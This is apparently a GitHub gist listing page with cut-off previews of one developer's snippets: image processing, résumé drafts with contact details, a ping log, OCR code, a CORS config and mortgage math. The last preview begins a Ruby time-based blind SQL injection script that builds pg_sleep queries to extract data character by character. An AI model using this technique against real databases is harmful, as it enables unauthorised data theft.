This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
import cv2 | |
filenames = ["file1.jpg", ... ] | |
columns = [] | |
for i, filename in enumerate(filenames): | |
img: np.array = cv2.imread(f"p/{filename}") | |
height: int = len(img) | |
width: int = len(img[0]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
A D A M D E R E W E C K I | |
Potrero Hill, San Francisco 740-502-3073 | |
[email protected] github.com/derwiki | |
== P R O F E S S I O N A L E X P E R I E N C E == | |
Lyft - San Francisco, CA | |
Engineer (11/2017 - Present) | |
* Python/React for Passenger Growth team | |
Certain Lending - San Francisco, CA |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
A D A M D E R E W E C K I | |
Potrero Hill, San Francisco 740-502-3073 | |
[email protected] github.com/derwiki | |
== P R O F E S S I O N A L E X P E R I E N C E == | |
Certain Lending - San Francisco, CA | |
Senior Engineering Contractor (9/2017 - Present) | |
* Building first version of product in node.js | |
Coderpad - San Francisco, CA |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Adams-MacBook-Pro:~ adam$ ping speedtest.fremont.linode.com | |
PING speedtest.fremont.linode.com (50.116.14.9): 56 data bytes | |
64 bytes from 50.116.14.9: icmp_seq=0 ttl=58 time=7.676 ms | |
64 bytes from 50.116.14.9: icmp_seq=1 ttl=58 time=7.538 ms | |
64 bytes from 50.116.14.9: icmp_seq=2 ttl=58 time=8.682 ms | |
64 bytes from 50.116.14.9: icmp_seq=3 ttl=58 time=7.110 ms | |
64 bytes from 50.116.14.9: icmp_seq=4 ttl=58 time=6.924 ms | |
64 bytes from 50.116.14.9: icmp_seq=5 ttl=58 time=7.911 ms | |
^C | |
--- speedtest.fremont.linode.com ping statistics --- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ for x in 100 200 225 250 300 ; do echo $x; gs -sDEVICE=jpeg -DBATCH -dNOPAUSE -r$x -sOutputFile=warren.jpg -dLastPage=1 -dFirstPage=1 warren.pdf 1>/dev/null ; jpeginfo warren.jpg; done | |
100 | |
warren.jpg 856 x 1400 24bit JFIF N 80332 | |
200 | |
warren.jpg 1712 x 2800 24bit JFIF N 240411 | |
225 | |
warren.jpg 1926 x 3150 24bit JFIF N 284315 | |
250 | |
warren.jpg 2140 x 3500 24bit JFIF N 337588 | |
300 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'google/cloud/vision' | |
def log(s); puts s; end | |
module GoogleCloudVision | |
class OcrPdfService | |
attr_accessor :pdf_filename | |
def initialize(pdf_filename) | |
fail "GOOGLE_CLOUD_KEYFILE env variable required" unless ENV['GOOGLE_CLOUD_KEYFILE'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01"> | |
<CORSRule> | |
<AllowedOrigin>*</AllowedOrigin> | |
<AllowedMethod>GET</AllowedMethod> | |
<AllowedMethod>HEAD</AllowedMethod> | |
<MaxAgeSeconds>3000</MaxAgeSeconds> | |
<AllowedHeader>Range</AllowedHeader> | |
<AllowedHeader>Authorization</AllowedHeader> | |
<ExposeHeader>Accept-Ranges</ExposeHeader> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PROPERTY_TAX_RATE = 0.015 | |
home_value = 1_000_000.0 | |
deposit = 500_000 | |
#loan_amount = home_value - deposit | |
yearly_property_tax = home_value * PROPERTY_TAX_RATE | |
monthly_property_tax = yearly_property_tax / 12.0 | |
monthly_property_tax_adjustment = monthly_property_tax * 0.36 | |
principal = 500_000.0 | |
monthly_interest_rate = 0.03 / 12 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
prices = [ | |
247901, | |
313230, | |
362438, | |
361772, | |
345520, | |
338346, | |
329087, | |
328406, | |
342284, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# More information available at https://www.owasp.org/index.php/Blind_SQL_Injection | |
POSITIVE_DELAY = 2 | |
CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a | |
def query(table, field, id, char, pos) | |
%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;] | |
end | |
def timeit |